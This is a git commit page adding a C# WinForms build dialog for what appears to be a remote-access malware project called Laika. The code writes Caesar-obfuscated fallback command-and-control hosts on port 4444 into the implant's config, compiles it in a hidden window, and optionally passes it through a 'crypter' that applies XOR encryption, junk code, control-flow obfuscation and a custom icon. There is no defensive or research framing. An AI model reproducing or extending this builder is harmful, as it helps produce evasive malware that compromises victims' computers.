add: GUI Server
This commit is contained in:
179
Server/BuildMenu.cs
Normal file
179
Server/BuildMenu.cs
Normal file
@@ -0,0 +1,179 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Data;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Server
|
||||
{
|
||||
public partial class BuildMenu : Form
|
||||
{
|
||||
public BuildMenu()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
private void BuildMenu_Load(object sender, EventArgs e)
|
||||
{
|
||||
this.CenterToParent();
|
||||
}
|
||||
|
||||
private void button1_Click(object sender, EventArgs e)
|
||||
{
|
||||
if (textBox1.Text != "")
|
||||
{
|
||||
Hosts.Items.Add(textBox1.Text);
|
||||
button2.Enabled = true;
|
||||
textBox1.Clear();
|
||||
}
|
||||
}
|
||||
|
||||
private void Hosts_MouseDown(object sender, MouseEventArgs e)
|
||||
{
|
||||
if (e.Button == MouseButtons.Right)
|
||||
{
|
||||
int index = Hosts.IndexFromPoint(e.Location);
|
||||
if (index < 0)
|
||||
return;
|
||||
|
||||
Hosts.SelectedIndex = index;
|
||||
contextMenuStrip1.Show(Cursor.Position);
|
||||
}
|
||||
}
|
||||
|
||||
private void deleteToolStripMenuItem_Click(object sender, EventArgs e)
|
||||
{
|
||||
Hosts.Items.RemoveAt(Hosts.SelectedIndex);
|
||||
if (Hosts.Items.Count == 0)
|
||||
button2.Enabled = false;
|
||||
}
|
||||
|
||||
private void button2_Click(object sender, EventArgs e)
|
||||
{
|
||||
string output = "";
|
||||
button2.Text = "Building...";
|
||||
button2.Update();
|
||||
|
||||
string filePath = @"..\Laika\config.h";
|
||||
string newContent = @"#define FALLBACK_SERVERS " + Hosts.Items.Count;
|
||||
newContent += "\n\nchar* fallback_servers[FALLBACK_SERVERS] = {\n";
|
||||
for (int i = 0; Hosts.Items.Count > i; i++)
|
||||
{
|
||||
newContent += "\t\"" + Utils.CAESAR(Hosts.Items[i].ToString()) + "\",\n";
|
||||
}
|
||||
newContent += "};\n\n";
|
||||
newContent += "int fallback_servers_ip[FALLBACK_SERVERS] = {\n";
|
||||
for (int j = 0; Hosts.Items.Count > j; j++)
|
||||
{
|
||||
newContent += "\t4444,\n";
|
||||
}
|
||||
newContent += "};";
|
||||
|
||||
File.WriteAllText(filePath, newContent);
|
||||
System.Diagnostics.Process process = new System.Diagnostics.Process();
|
||||
System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
|
||||
startInfo.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
|
||||
startInfo.FileName = "cmd.exe";
|
||||
startInfo.Arguments = "/C \"\"%ProgramFiles(x86)%/Microsoft Visual Studio/Installer/vswhere.exe\"\" -nologo -latest -property installationPath";
|
||||
startInfo.RedirectStandardOutput = true;
|
||||
startInfo.UseShellExecute = false;
|
||||
startInfo.CreateNoWindow = true;
|
||||
process.StartInfo = startInfo;
|
||||
process.Start();
|
||||
string vs_path = process.StandardOutput.ReadToEnd();
|
||||
process.WaitForExit();
|
||||
|
||||
vs_path = vs_path.Replace("\r\n", "");
|
||||
string cmd_line = vs_path + "\\Msbuild\\Current\\Bin\\MSBuild.exe";
|
||||
|
||||
startInfo.Arguments = "/C \"\"" + cmd_line + "\"\" ../Laika /p:Configuration=Release;Platform=x86";
|
||||
startInfo.RedirectStandardError = true;
|
||||
process.StartInfo = startInfo;
|
||||
process.Start();
|
||||
output += process.StandardOutput.ReadToEnd();
|
||||
output += process.StandardError.ReadToEnd();
|
||||
|
||||
process.WaitForExit();
|
||||
|
||||
if (!checkBox1.Checked)
|
||||
{
|
||||
File.WriteAllText("build_log.txt", output);
|
||||
button2.Text = "Done !";
|
||||
return;
|
||||
}
|
||||
|
||||
string args = string.Empty;
|
||||
if (checkBox2.Checked)
|
||||
args += " --xor " + textBox2.Text;
|
||||
if (checkBox3.Checked)
|
||||
args += " --junk " + numericUpDown1.Value.ToString();
|
||||
if (checkBox4.Checked)
|
||||
args += " --control_flow " + numericUpDown2.Value.ToString();
|
||||
if (pictureBox1.ImageLocation != "")
|
||||
args += " --icon " + pictureBox1.ImageLocation;
|
||||
|
||||
startInfo.Arguments = "/C cd ..\\patate-crypter\\Builder && python gui.py --file ..\\..\\bin\\Laika.exe" + args;
|
||||
startInfo.RedirectStandardError = true;
|
||||
process.StartInfo = startInfo;
|
||||
process.Start();
|
||||
output += process.StandardOutput.ReadToEnd();
|
||||
output += process.StandardError.ReadToEnd();
|
||||
|
||||
process.WaitForExit();
|
||||
File.WriteAllText("build_log.txt", output);
|
||||
|
||||
button2.Text = "Done !";
|
||||
}
|
||||
|
||||
private void button3_Click(object sender, EventArgs e)
|
||||
{
|
||||
OpenFileDialog openFileDialog = new OpenFileDialog
|
||||
{
|
||||
Filter = "Icon files (*.ico)|*.ico",
|
||||
Title = "Select your icon"
|
||||
};
|
||||
|
||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||
{
|
||||
string filePath = openFileDialog.FileName;
|
||||
pictureBox1.ImageLocation = filePath;
|
||||
pictureBox1.SizeMode = PictureBoxSizeMode.StretchImage;
|
||||
pictureBox1.Update();
|
||||
}
|
||||
}
|
||||
|
||||
private void checkBox1_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
bool flag = checkBox1.Checked;
|
||||
|
||||
checkBox2.Enabled = flag;
|
||||
checkBox3.Enabled = flag;
|
||||
checkBox4.Enabled = flag;
|
||||
pictureBox1.Enabled = flag;
|
||||
button3.Enabled = flag;
|
||||
}
|
||||
|
||||
private void checkBox2_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
label4.Enabled = checkBox2.Checked;
|
||||
textBox2.Enabled = checkBox2.Checked;
|
||||
}
|
||||
|
||||
private void checkBox3_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
label5.Enabled = checkBox3.Checked;
|
||||
numericUpDown1.Enabled = checkBox3.Checked;
|
||||
}
|
||||
|
||||
private void checkBox4_CheckedChanged(object sender, EventArgs e)
|
||||
{
|
||||
label6.Enabled = checkBox4.Checked;
|
||||
numericUpDown2.Enabled = checkBox4.Checked;
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user